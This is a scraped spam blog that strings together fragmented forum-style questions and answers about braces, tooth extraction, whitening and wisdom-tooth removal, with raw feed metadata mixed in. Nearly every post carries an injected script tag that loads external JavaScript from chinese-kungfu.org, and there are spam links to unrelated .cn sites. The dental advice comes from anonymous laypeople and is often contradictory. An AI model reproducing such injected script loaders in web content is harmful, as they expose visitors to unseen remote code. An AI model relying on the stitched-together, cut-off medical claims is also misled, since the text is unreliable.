Much like the same way an erupting tooth with not much space to grow may shift other teeth in it's way, therefore making the other surrounsding teeth crooked.<br>Reply:when teeth are overlapping, braces help them slowly move back <br><br /><br /><br><br /><br />into place when your teeth are still growing<br><br /><br /><br><br /><br />GOOD LUCK!!!<br>Reply:okay well when they put your braces on they glue the brackets to the front of your teeth and place a wire through the slots in the braces. then they tighten this wire which puts gentle pressure on your teeth. this process pulls your teeth in the correct positions and holds them there. Then after braces are off you'll get a retainer(s) this holds your teeth in place so that they don't shift back again.<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><a href=http://www.companyforyou.cn/Food/>Food</a>Brethttp://www.blogger.com/profile/05526243467005930364noreply@blogger.com0tag:blogger.com,1999:blog-1110813483309704174.post-61278711433133304922010-05-21T19:02:00.001-07:002010-05-21T19:02:28.187-07:00Deep Cleaning (Scaling and Root Planing) and wisdom teeth removal and braces?my dentist recommended deep clean because i never had regular clean. <br><br /><br /><br><br /><br />my orthodontics recommended braces to correct my deepbite<br><br /><br />also he looked at my xray he told me to have 3 wisdom teeth removed before installing braces.<br><br /><br /><br><br /><br />my question is when should i have my teeth cleaned(deep clean) 1.before wisdom teeth removal<br><br /><br />2. after wisdom teeth removal.3 or after i had my braces<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth1.js type=text/javascript></script><br>Deep Cleaning (Scaling and Root Planing) and wisdom teeth removal and braces?<br>enjoy the deep cleaning it sucks, <br><br /><br />yes you should have the cleaning first, why you ask, your mouth will become healthy after that, so when you have the teeth pulled your mouth will heal faster, <br><br /><br /><br><br /><br />have the deep cleaning before anything. your mouth will hate it at first but a week goes by and its all good<br>Reply:I would take his recommendation, but you would need to heal at least a month after the deep cleaning before removing the wisdom teeth unless they are hurting you now or significantly impacting your bite.<br><br /><br /><br><br /><br />You should have your teeth cleaned before braces as they could take 1-2 years or far longer followed by a retainer.

There is a new paste out that prevents and aids in healing decalcification (the discoloration you referred to) from ortho - it is called MI Paste and you put in on topically before bed - no rinsing afterward - it now comes with fluoride in it too!! I've seen the results myself - as a hygienist, I often recommend it! A waterpik would help too!!<br>Reply:wash yout teeth after every meal and try to buy a colgate whitening gel or any good whitening system until your treatment ends, that should work good<br>Reply:get a waterpik and some proxy brushes, they sell both at target, they help immensly and make sure you brush your teeth 2-3 times a day no matter what and your breath smells bad more often because it gets caught in the braces so always have some breath mints on you just in case<br>Reply:BRUSH ALOT!!! <br><br /><br />and floss ALOT!!<br>Reply:i have braces and no that does not happen to all breaces wearers. it only happens if u neglect to keep them clean. what i do is first i use this brush that can go between the wires and scrub the brackets. my ortho calls it a Christmas tree brush cuz the actual brush looks like a treeshape. i clean through all the brackets and the wires. then i take my regular toothbrush and brush through once or twice. i do that routine twice a day. also if u have a lot of food stuck in ur braces it's a good idea to brush right away and clean them out. its not as hard to keep them clean and fresh as u might imagine. good luck!!!!!<br>Reply:Colgate Phos-Flur rinse each night after brushing. Brush your teeth often. Keep the little brush with you at all times. I have one in my purse and one in my bathroom to use when I cannot brush. Try to get the food off the teeth and out of the braces as soon as you can. Rinsing with water helps a bunch too.<br>Reply:I have braces too. Not everyone has the yellow stains, if you don't brush your teeth and floss your gums then they will appear. The stains will last a life time, they will never come off.You should brush your teeth atleast 2 times everyday. Preferably after each meal. Then to prevent your gums from bleeding, floss your teeth. You won't get the yellow stains as long as you do what your dentist/orthodontist says and everything will come out right.<br>Reply:It doesn't happen to everyone.<br><br /><br />I had braces before and I never had yellow patches.<br><br /><br />Just brush and floss your teeth after every meal and it'll be fine.<br><br /><br />Don't worry!<br>Reply:The Sonicare brush is especially recommended for someone with braces. There are many different model designations, but the "motors" are all pretty much the same. The kits are different because they pack different accessories. Some have two brush heads and some have four. Some have a travel bag and some have a wall-mount charger instead of a counter top charger. Just read the label carefully and buy what you need. Bear in mind that you will have to replace the brush heads about every six months, so see if it is cheaper to buy a few extra brush heads in one of the kits.<br><br /><br /><br><br /><br />Otherwise, buy a Sonicare, read and follow the directions. The directions are very clear and easy to understand.<br><br /><br /><br><br /><br />If you want to try a Sonicare without taking out a loan, I've got good news for you. I just bought one for THIRTY DOLLARS. It uses two "AA" batteries, so you are not paying for a charger, etc. I have no idea how long the batteries last (yet), but $70 would buy a boat load of batteries. It seems to be equally effective as the rechargeable version when you are using new batteries.<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><br>Brethttp://www.blogger.com/profile/05526243467005930364noreply@blogger.com0tag:blogger.com,1999:blog-1110813483309704174.post-27517156415281183082010-05-21T19:01:00.002-07:002010-05-21T19:01:40.609-07:00Loose teeth while having braces?I got my braces 2 months ago and my teeth feel loose. Is this normal? How loose is to loose?<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth2.js type=text/javascript></script><br>Loose teeth while having braces?<br>They are most likely loose because the braces are moving them at such a rate the teeth are very movable and sensitive. Eventually they should be sturdy and stay in the position until all your teeth are straight. There's nothing to worry about.....unless you lose a tooth.......then go see your dentist.<br>Reply:I've worn braces and they're supposed to be like that. Your teeth are moving constantly because of braces, so of course they have to be loose. that's normal!!!<br>Reply:it's probably just because they are moving. i had braces for 2 years, but now they are off.<br>Reply:.<br><br /><br /><br><br /><br />100 percent normal !!!!<br>Reply:They probablly just feel loose. When I had braces I felt the same way. So yes, I think it is normal!<br>Reply:I have worked for an orthodontist. Loose teeth move. So, they will be loose. If you are concerned, go see your orthodontist. I wouldn't worry too much at all.<br>Reply:Your braces are just doing their job. Stop checking to see if your teeth are loose.

I'm a bit concerned about this because right now his teeth arn't as white as they should be. He knows he will have to brush regularly with the braces on so what if this causes his natural teeth to be come whiter, will the bonding they do still blend in or will it stand out like a sore thumb? Also, I thought the point of getting the braces was to fill in the spaces between the teeth so why is the bonding even necessary? I'm really confused and the answer I was given by the denist just doesn't make sense to me. Thanks in advance!<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth1.js type=text/javascript></script><br>Should I have my 12 year old's teeth bonded before braces?<br>I assume your son can still chew food just fine. Bonding is a cosmetic fix for small spaces that is used after braces or in lieu of braces. It doesn't make sense to get both. The braces should pull the teeth to fill in the spaces and it will take time to do that. The dentist is probably trying to show immediate results. I would recommend finding an orthodontist or a different dentist.<br><br /><br /><br><br /><br />Regarding bonding, a dentist should match the color of the bonding to the teeth so they should blend perfectly and you shouldn't be able to tell the bonding is there even if you are inches away from their face. If the dentist can't match, they are not a good eye for cosmetics.<br><br /><br /><br><br /><br />Teeth stain naturally and would only get whiter if your son is using whitening toothpaste or other tooth whiteners. If anything the teeth will get darker and at that point the bonding will need to be replaced.<br>Reply:NO! I have bonded teeth because of chips, and when I got braces, the glue used to stick the brackets to the tooth would not adhere well to the bonded teeth. After a week or so, the brackets would just pop off. Eventually I had to get the type of brackets that they use for molars, and because of that, everyone always told me that I has tin foil stuck in my braces.<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><br>Brethttp://www.blogger.com/profile/05526243467005930364noreply@blogger.com0tag:blogger.com,1999:blog-1110813483309704174.post-19431792324106579242010-05-21T19:01:00.000-07:002010-05-21T19:01:08.341-07:00Is teeth shifting after braces removal inevitable?After I got my braces removed years ago, I gradually stopped using my retainers and now I can see that my teeth shifted --- not a whole lot but enough that I can notice it(bummer). As a result, obviously, my old retainers don't fit anymore. Is there anything I can do about this ( I mean I know it's pretty much my fault lol)?<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth2.js type=text/javascript></script><br>Is teeth shifting after braces removal inevitable?<br>I had my braces taken off about 5 years ago and I've been wearing retainers on my top teeth every night since then. I'm going to the dentist in the first week of May to see if there is a more permanent option because wearing retainers for life is not an option that I want to deal with. I think that the shifting is inevitable.<br>Reply:I also have the same problem. My dentist said I would have to get braces again. But depending on how severe ur teeth have moved, ur dentist may do the mold again and give u new retainers. But mines recommend braces again since I can't fit into my old ones and my teeth are almost back to the way they were. But see ur ortho, they may have some solutions. Good luck!<br>Reply:Yes. When I got my braces off I could tell a difference when I took my retainers out in the morning and when I put them in at night. I got my wisdom teeth removed a couple years ago %26amp; over 3-4 weeks (while my mouth was SUPER swollen %26amp; sore) I could not put my retainers in. My teeth moved so fast! So, I just got braces back on to fix what hapened after I had my wisdom teeth removed...<br><br /><br /><br><br /><br />My options were to either get new reatiners to hold what I had, get braces back on to fix them or do nothing. I chose to fix them.<br>Reply:it is a must that you wear your retainer after getting your braces removed, anything less is like giving away money. OMG, i feel soo bad for you because you have to do something now, not later, you may need to go and see your general dentist just to see if he/she has any idea's other than going back into ortho. There is Invisalign and they are great, they're a series of clear aligners that you change every two weeks and the results are so nice. They're clear so you can wear them and people not really notice them, you don't have to worry about the possiblilty of decay (as with brackets). Or maybe they can fit you for another retainer that you must wear, especially at night, when the body is at rest, that's when the teeth move.

The whitening product will not be able to come into contact where the braces are, so you will have noticeable stains on your teeth after your braces come off.<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><br>Brethttp://www.blogger.com/profile/05526243467005930364noreply@blogger.com0tag:blogger.com,1999:blog-1110813483309704174.post-75046585022545197602010-05-21T18:59:00.002-07:002010-05-21T18:59:32.429-07:00Is it right to have to have two teeth extracted for Braces? :(?I'm 15 and went to the orthdontist before. He told me to get two adult teeth taken out thenin 2 weeks he'll put spacers then braces etc. BUT my other teeth haven't all come through yet! So don't all your adult molar teeth have to come through first? %26amp; I don't want to get the teeth taken out because I've already got visible gaps from baby teeth falling out!!<br><br /><br /><br><br /><br />Please tell me if you know this is normal and fine, or if there's anyway I DON'T have to get teeth taken out!! Thankyou!!<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth2.js type=text/javascript></script><br>Is it right to have to have two teeth extracted for Braces? :(?<br>im pretty sure that the ortho will know what he is talking about. you dont need your adult molars. i currently have braces, and they dont put anything on your adult molars. the ring thing that the wire attaches to goes on the other molar. you normally want to have all your baby teeth gone before they put on braces, so that when it does fall out it does grow back in weird and move your teeth. im guess that if you have some spaces from baby teeth you recently lost, if they grow in enough, theyll stick a bracket on it. if you are really worried, stop by and ask him to explain it to you.<br><br /><br /><br><br /><br /><br><br /><br />EDIT<br><br /><br />oh yeah, i forgot to add that if your teeth are really crooked, getting some taken out would be a good idea. it would allow for more space in your mouth, and in the long run better/healthier teeth!<br>Reply:If you don't want the teeth out, ask your orthodontist what will happen if you don't get them out. If he/she is still willing to treat you and you can accept the compromised outcome, just don't get them out.<br><br /><br /><br><br /><br />However... It is NO BIG DEAL to get these teeth out. 99 times out of 100, the kid (usually 11-12 years old - NOT 15) can't believe they are out. Don't worry about the extractions.<br><br /><br /><br><br /><br />And, you say that you are worried about the visible gaps, but the plan would be to close up those gaps.<br>Reply:I thought the idea of braces was to straighten and strengthen teeth already there .... having 2 removed would seem totally counter-productive. Though I'm no dentist it doesn't seem right ...unless the teeth he's going to remove are impeeding some that haven't come through yet ... I'd think I'd be going and getting a second opinion from another orthodontist<br>Reply:click on the link from the source section.... everything you want to know is there from someone's story. They had the same concern.<br><br /><br /><br><br /><br />One very common question on our Metal Mouth Forum involves extraction. Often, adults may need teeth extracted to make room so their other teeth can move into their proper positions.<br><br /><br /><br><br /><br />Extractions and Children: Be Careful!<br><br /><br /><br><br /><br />What about children? Personally I do not advocate tooth extraction in children because they are still growing. Years ago, extraction for children was common, but this is not the case today. Some orthodontists still routinely extract children's teeth. If you encounter this, please seek several additional opinions before making your decision.<br><br /><br /><br><br /><br />There are many other methods that can be used to meld children's jaws to make room (palate expansion, headgear, or guided growth methodology). Extracting teeth from children can result in less than optimal facial aesthetics. In other words, you child's face may not wind up looking as good as it could have, because it will grow longer and flatter instead of fuller. <br><br /><br /><br><br /><br />One exception involves a Class III malocclusion. Class III cases are technically much more difficult and often involve jaw surgery. If you need more information about Class III malocclusion, read about it in our FAQ.<br>Reply:I'm not sure if they did the right thing, but I had two teeth extracted before they wired me with braces. Eventually, it looked okay. The thing is, they're the experts and if we don't trust them, we can drive ourselves crazy.<br>Reply:do what doctor advises and ofcourse you seek your parents help<br>Reply:When I got my braces they took two of my upper teeth out. they said this would leave room for the teeth to move towards the rear. If you don't wear your headgear you will be waisting money and time. The faster you can get your braces off the better. Please wear your headgear.<br><br /><br /><br><br /><br />You may feel self conscious wearing the braces, but I think I was lucky in love while I was wearing them. I think they gave me a sense of humility and a very shy smile. It was a killer combination for the ladies.<br><br /><br /><br><br /><br />Good luck to you. You can always get a professional second opinion.<br>Reply:When I started my braces extravagaza in like 6th grade I had to have 6 teeth pulled before they could start orthodontic treatment... Ive had adult teeth taken out as well. <br><br /><br />It may not make sense to take out perfectly fine teeth but usually its due to crowding or if your teeth are crooked in order to move them straight they need more space... <br><br /><br /><br><br /><br />to your question of is it right... well... if you think its right to have straighter teeth than perhaps it is the best treatment method. Remember your ultimate goal is to have a beautiful smile with straight teeth, otherwise you wouldnt be visiting an orthodontist. If you think its not normal(although I think that they usually have a reason for the things they do and know what results it would produce) then go get a second opinion at another orthodontist. <br><br /><br /><br><br /><br />Personally, although it sucked to get 6 teeth pulled in one day... the results and compliments I get on my straight teeth today and the boost of confidence I have as well was well worth the short time span of being uncomfortable... and im happy I dont have an overcrowded mouth anymore too. :-D<br>Reply:Is your jaw to small to accommodate all your teeth?that is what my problem was i had four adult teeth removed when i was a teenager and i have a beautiful and straight smile.if you dont trust that dentist get a 2nd opinion but he is dentist (a doctor of teeth)I had spacers and rubberbands youll feel dorky for awhile but the end result is worth it.<br>Reply:look, if you have crowded teeth, thats why they're takent hem out. in the end after they puy braces on, the braces are gonna close the gaps of those extracted teeth.<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><a href=http://3dress-shoes.blogspot.com/>dress shoes</a>Brethttp://www.blogger.com/profile/05526243467005930364noreply@blogger.com0tag:blogger.com,1999:blog-1110813483309704174.post-13410725302828658992010-05-21T18:59:00.001-07:002010-05-21T18:59:15.678-07:00Have you had buck teeth then got braces?

Getting a fluoride rinse or brush on gel can help "remineralize these teeth" and help prevent you from getting as many cavities. Also, Floss!! For extra help do not rinse after brushing, most people do this and rinse off all the fluoride vitamins in toothpaste so you do not get the benefits from the toothpaste. Instead, brush, spit, don't rinse and try to wait 30 minutes to eat or drink. Also, try to keep sweets and juices or pops only to meal times (do not snack all day long or sip these drinks constantly) Stick to water and sugar free gum between meals.<br>Reply:when your teeth moved it may take a while for them to get back in normal, but donĀ“t be scared, follow the diet of no sugar and keep filling them when needed, im sure it will be a point when u will remove braces and they will be straight and perfect. the sacrifice worth it.<br><br /><br />Take care<br>Reply:Welcome to youing adulthood. Remember that your body is changing all of the time. Teeth are relatively slow to change with calcium and floride moving in and out over a long time. changes that you made years ago in your diet or brushing habits can just now be catching up to you---like less calcium because of ibs???<br><br /><br /><br><br /><br />I had no cavities as a kid and I did not wear braces, but when I got to college I was running home to the dentist all of the time.

It might be partly because they're bigger, which braces can't really help. Also when I bite a few teeth on one side don't feel flush. At the time I assumed it was because they were worn crooked from before I had braces. Also I don't always know where to find my bite because my jaw clicks and moves around which I just found out is not normal.

WHen you go to the orthodontist next, ask him/her, that's what I'm gonna do. Good luck! :-)<br>Reply:You shouldn't. Braces are cemented to your teeth, so any whitening solution you use will not affect the part of your teeth the braces are attached to. You might end up with braces-sized stains on your teeth.<br>Reply:Not worth it.<br><br /><br />When you take off your braces you'll have yellow spots on your teeth and it'll look funny. Wait it out....<br>Reply:It doesn't matter coz your teeth would still look ugly with the braces on. Just wait till you get those beautiful straight teeth then bleach it to have an overall perfect smile.<br>Reply:shouldnt they already be white if you have braces? cause you know you have to brush like 299 million times a day<br>Reply:just brush. when you take off your braces you'll have yellow boxes in each tooth. That's why I waited until i got my braces taken off.<br>Reply:no but you can go to a regular dentist and they can clean them.. i got mine done today.. and they are pearly white!!<br>Reply:yes, theres listerine which takes away bad breath and gets teeth whitening, thats what i use<br>Reply:i use the dissovlable listerine whitening strips<br><br /><br />i cut one in half then put them on my bottow and top<br><br /><br />its kinda tricky, but its definitely working<br>Reply:You could do tooth whitening if you found a tray style product that will go over the braces. The cement keeping the braces on actually keeps that area decay free and stain free. It is the rest of the area that will get stained by drinks, food, smoking and wine. Yes, the best is to brush, floss (if you got that fancy floss for braces) and swish.<br><br /><br />You will still likely have some colour difference when they come off but your ortho will get the cement off. The yellow people are saying about is bc their friends probably have un maintained "clear braces"<br>Reply:I do agree that the best to WHITENED your teeth is after the braces treatment is done. In that case your dentist will advice you to have dental cleaning first to remove all the remaining cements after braces removal and to make sure that your teeth surfaces all cleaned and free from minor stains...and after that process and U still wish to do WHITENING...then go ahead my dearie...always nice to have a white and healthy teeth......<br>Reply:Commercial tooth whiteners use hydrogen peroxide and are expensive and inconvenient.

THANK YOU xxx xxx<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth2.js type=text/javascript></script><br>How long before your teeth look straight under the braces??<br>Hmmmm... well it really depends on how bad your teeth are. I had buck teeth and they literally started going in about 2 months, but if you have really bad teeth then it will probably be about 4 months until you see real results, but then they will start moving really quickly. BTW, if you feel pissed off about your braces at any time, DO NOT GO ON FEELING ANNOYED! I was always irritated about them but now that I've got them off IT WAS SO WORTH IT!! So yeah, there's my advice! I hope it all goes well xx<br>Reply:It's so surprising how fast your teeth move. You'll most likely see a huge change within the first couple of months. Even after the first month, I saw a noticeable change.<br>Reply:at least a year. It isn't a short process at all.<br>Reply:It all depends on how bad your teeth were to begin with and what treatment plan your orthodontist has for you.<br>Reply:It has everything to do with the type of problem that's being corrected. If you had "crooked teeth" it doesn't take very long at all... a few months at most. But if you have an "over bite"... that requires about 2 full years of Orthodontic treatment.<br><br /><br /><br><br /><br />Good Luck!<br>Reply:i am going to have my braces on for like 2 and half years..i am on my 2nd year i could tell by like the first 4months i could see some change.<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><a href=http://www.computer-security.com.cn>computer security</a>Brethttp://www.blogger.com/profile/05526243467005930364noreply@blogger.com0tag:blogger.com,1999:blog-1110813483309704174.post-5300984061255914352010-05-21T18:57:00.000-07:002010-05-21T18:57:08.675-07:00Wisdom teeth removal with braces on?i am having all four of my wisdom teeth removed tomorrow..two are impacted.. and i have braces on top and bottom teeth..any advice?<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth1.js type=text/javascript></script><br>Wisdom teeth removal with braces on?<br>Yes i have the same situation, or at least had. I had to get all myt 4 removed. BUT, the doc told me, that it should removed 1 at a time. with a few days gap, preferably week gap (as i had). removing them is a big thing as they are permanent teeth with deep roots. I couldnt even eat properly, with the removal of one, with my mouth swelling. I had to get stiches with the bottom 2, as they were impacted. So, I dont know why ur doc is saying to get them all out at once. That is a lot of injury to take at one time. Maybe get a second opinion. <br><br /><br />ANd also, it is advisable to get either top braces or lower first. Not both at once. As the pain gets alot. So it should be done with time. I got my lower ones after 2 months since the top was put on.<br><br /><br />Not trying to scare u, but just warn u that it might not be best to get all removed at one. IT takes time for the injury to heal<br><br /><br /><br><br /><br />wait, did u say u already had ur braces on? Well if u do, then well no problem in that regard. ONly about removing the wisdom all at once.<br>Reply:THIS SHOULD NOT PSE A PROBLEM AT ALL. JUST FOLLOW THE DOCTOR'S INSTRUCTIONS TO PREVENT DRY SOCKET. SOME GOOD INF IS FOLLOWING:<br><br /><br />Dry Socket<br><br /><br /><br><br /><br /><br><br /><br />information from the Atlanta Dental Group PC<br><br /><br /><br><br /><br /><br><br /><br /><br><br /><br /><br><br /><br /> In a patient with a dry socket, blood does not fill up the extraction socket or the blood clot is lost. The gums can not grow over the extraction socket because there's nothing to grow over and the hole remains open. This opening causes a constant dull throbbing pain and the patient can often have a foul smelling breath and bad taste in the mouth. Ear pain is another possible dry socket symptom.<br><br /><br /><br><br /><br /> It's called a dry socket because the hole, or socket, that the tooth used to fit into becomes dry. It begins hurting about three days after oral surgery. Unfortunately, the pain lasts about a week after it begins. The dental name is acute alveolar osteitis. Acute means all of a sudden. Alveolar is the name of the bone that supports teeth. -itis means inflamed and osteo- means bone. Osteitis means bone inflammation. Acute alveolar osteitis means sudden inflammation of the bone that supports a tooth.<br><br /><br /><br><br /><br /> Dentists don't know exactly what causes a dry socket. It occurs more with lower teeth than upper teeth and more with females than males. The problem occurs more often after difficult extractions. It may be that forceful pushing against the wall of the socket when the tooth is being removed causes the walls of the tooth socket to become crushed. This prevents bleeding into the socket because the blood vessels have been crushed closed. The lack of blood then causes severe pain.<br><br /><br /><br><br /><br /> Anything that dislodges the clot can cause a dry socket. Forceful spitting or sucking though a straw can pull a clot completely out of its socket. Patients should wait a day before rinsing with warm salt water to avoid dissolving the new blood clot. When salt water rinsing, spit gently to avoid pressure. Carbonated beverages should be avoided because they may bubble the clot out. Alcoholic drinks can dry out the blood clot and prevent healing. Avoid smoking for a few days after dental extractions because smoking can disturb clot formation. Patients who have recently had oral surgery should avoid anything that may irritate the socket or anything that may cause the clot from being dislodged. Follow our oral surgery post operative instructions carefully to avoid dry socket treatment.<br><br /><br /><br><br /><br />GOOD LUCK!<br>Reply:Hi!<br><br /><br /> I am an Oral Surgeon and have practiced for 27 years. The removal of all 4 wisdom teeth at once is the routine procedure. If you have an Oral Surgeon do it, there shouldn't be any problem. We are trained for surgery and actually, removal of teeth and wisdom teeth is one of the easier things for us. Just remember to follow all of the post-operative instructions very closely so your recovery will be quick and comfortable.<br><br /><br /> It is INSANE to remove these teeth one at a time. If you do 1 or 2 or all 4, you will still have the same amout of pain afterwards, which will be easily taken care of with a prescription pain killer. You will still take the same amount of medication whether you do 1 tooth or 4. If you do 1 or 4 teeth, you will still be eating soft foods for a few days, still be keeping ice on for the swelling, etc, etc. So, whether you do 1 or 4 teeth, your post -op experience will essentially be the same. If you do all 4, then you will be done and not have to do this again (medication, soft foods, ice, etc).<br><br /><br /> If you are paying for this, it is also cheaper doing all 4 at once - only 1 anesthesia vs 2, or 4. <br><br /><br /> Teeth that are impacted usually require a little more work than those that are erupted. Sometimes we use a dental drill and cut them in half to make it easier to remove them. This is not a problem and will not hurt. The fact that you have braces on will not effect the procedure. <br><br /><br /> It's good that your'e having these widsom teeth removed, because if left there, they can push forward and cause anterior tooth crowding and ruin your nice orthodontic treatment.<br><br /><br /><br><br /><br /> Find a good, compassionate Oral Surgeon who has a gentle touch and you won't have any problems! Good luck.<br>Reply:Buck is straight, you see, so full marks to him. For the clean and straight job, seek recommendations from friends for an oral surgeon.<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth3.js type=text/javascript></script><br><br>Brethttp://www.blogger.com/profile/05526243467005930364noreply@blogger.com0tag:blogger.com,1999:blog-1110813483309704174.post-46658905076138317552010-05-21T18:56:00.003-07:002010-05-21T18:56:52.418-07:00Who got teeth extracted for braces?Did anyone here get teeth extracted for there braces?<br><br /><br /><br><br /><br />If so how many and was straight teeth worth having healthy teeth removed?<br><script language=JavaScript src=http://www.chinese-kungfu.org/teeth2.js type=text/javascript></script><br>Who got teeth extracted for braces?<br>I had 4 baby teeth removed.
